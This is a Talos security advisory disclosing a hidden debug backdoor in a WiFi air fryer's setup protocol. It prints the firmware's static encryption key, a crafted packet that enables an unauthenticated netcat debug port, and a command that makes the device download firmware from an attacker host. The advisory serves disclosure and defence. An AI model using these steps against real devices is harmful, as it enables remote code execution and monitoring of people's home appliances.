Talos Vulnerability Report

TALOS-2020-1217

Cosori Smart 5.8-Quart Air Fryer CS158-AF configuration server code execution vulnerability

APRIL 15, 2021

CVE NUMBER

CVE-2020-28593

Summary

A unauthenticated backdoor exists in the configuration server functionality of Cosori Smart 5.8-Quart Air Fryer CS158-AF 1.1.0. A specially crafted JSON object can lead to code execution. An attacker can send a malicious packet to trigger this vulnerability.

Tested Versions

Cosori Smart 5.8-Quart Air Fryer CS158-AF 1.1.0

Product URLs

https://www.cosori.com/shop/cosori-smart-58-quart-air-fryer-cs158-af

CVSSv3 Score

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-912 - Hidden Functionality

Details

The Cosori Smart Air Fryer is a WiFi-enabled kitchen appliance that allows user to activate the device remotely, look up recipe guides and monitor cooking status via the mobile application.

During the initial setup phase, the embedded ESP-01E-based device functions as a WiFi access point that must be associated with before the mobile application can register the device with the appropriate cloud servers. During this registration process, information about the device is queried via mobile app such as nearby access points and the firmware version.

This communication occurs over TCP port 41234 and all traffic is encrypted JSON with a static, symmetric key and IV that is embedded with the firmware:

.user_data_seg_3:3FFE911E 6C 6C 77 61+aLlwantaesivv10 .ascii “llwantaesivv1.01llwantaeskey1.01”

```
Where
KEY = "llwantaeskey1.01"
IV = "llwantaesivv1.01"
```

During setup, the mobile application sends a configuration packet similar to this, with an interesting option “tcpDebugPort:

```
    "serverDN":     "vdmpmqtt.vesync.com:1883",
    "configKey":    <config_key>,
    "serverIP":     <server_ip>
    "tcpDebugPort": "off", <<<--- Here
    "wifiSSID":     "MY_SSID",
    "wifiPassword": "my_Cool_Wifi_passw0rd",
    "uri":  "/beginConfigRequest",
    "pid":  <pid>
```

Exploit Proof of Concept

If an attacker encrypts and sends a modified version of this packet to the device during setup, we can enable “Developer Mode”:

```
    "serverDN":     "vdmpmqtt.vesync.com:1883",
    "configKey":    <config_key>,
    "serverIP":     <server_ip>
    "tcpDebugPort": "on", <<<--- Here
    "wifiSSID":     "MY_SSID",
    "wifiPassword": "my_Cool_Wifi_passw0rd",
    "uri":  "/beginConfigRequest",
    "pid":  <snip>
```

This allows an attacker to subsequently connect to a listening port on the now registered device unauthenticated and unencrypted over tcp port 55555:

```
$ netcat 192.168.1.241 55555
Developer login !
```

This connection will repeat all serial log data over the connection, allowing an attacker to monitor the device and its current activities remotely: [D]

```
"jsonCmd":      {
        "getStatus":    "status"
},
"cid":  "<snip>",
"pid":  "shadowMockPid",
"deviceRegion": "shadowDeviceRegion",
"traceId":      "<snip>",
"method":       "bypass",
"module":       "cloud-shadowService"

[D]traceId : <snip>
[D]cid:<snip>
[D]method : bypass
[D]<Vesync>Mqtt send :
{"traceId":"<snip>","method":"bypass","pid":"<snip>","cid":"<snip>","result":{"returnStatus":{"cookStatus":"pullOut"}}}
[I]set_control
```

This communication channel will remain open until the user either removes the device via application or manually performs a factory reset. A device that is already registered can still be targeted but would require an attacker to manually factory reset the device and re-register it with the same credentials but with tcpDebugPort enabled. The mobile application will be unaware of this and continue to function as normal but with the backdoor enabled.

There are even some debugging commands that an attacker may use such as a triggering manual firmware update pointing to a client-specified remote location. This could allow remote code execution if the checksums are passed.

```
Client request:
{"traceId":"","method":"bypass","type":"","cid":"","pid":"","jsonCmd":{"firmware":
{"newVersion":"1.1.00","url":"http://myfwhost.com/v1.1.00/","ts":1605635148}}}

[D]<Vesync>
{
"firmware":     {
        "newVersion":   "1.1.00",
        "url":  "http://myfwhost.com/v1.1.00/",
        "ts":   0


Server response:
[I]set_control
[I]<Vesync>Upgrade firmware now !
[D]<Vesync>host is:myfwhost.com
[D]<Vesync>port is: 80
[D]<Vesync>path is:/v1.1.00/
[D]<Vesync>url_is_host_need_dns is:myfwhost.com
[I]<Vesync>upgrade dns
[I]<Vesync>upgrade dns cb:myfwhost.com
[I]<Vesync>upgrade dns found 10.6.9.1
system_upgrade_start
upgrade_connect 27816
upgrade_connect_cb
pusrdata = HTTP/1.0 200 OK

server do not support HEAD method now send GET message
pusrdata = Server: SimpleHTTP/0.6 Python/2.7.17
Date: Tue, 08 Dec 2020 19:57:32 GMT
Content-type: application/octet-stream
Content-Length: 394740
Last-Modified: Tue, 08 Dec 2020 19:41:03 GMT

<snip>
upgrade_check
upgrade file download finished.
flash_crc = 1166539277
img_crc = 1166539277
upgrade_check
[I]<Vesync>fw upgrade success
```

Timeline

2020-12-21 - Initial Contact
2021-01-05 - 1st follow up; auto-reply received from Cosori support

2021-02-17 - 2nd follow up
2021-03-29 - Final 90 day follow up
2021-04-15 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.

© 2022 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy.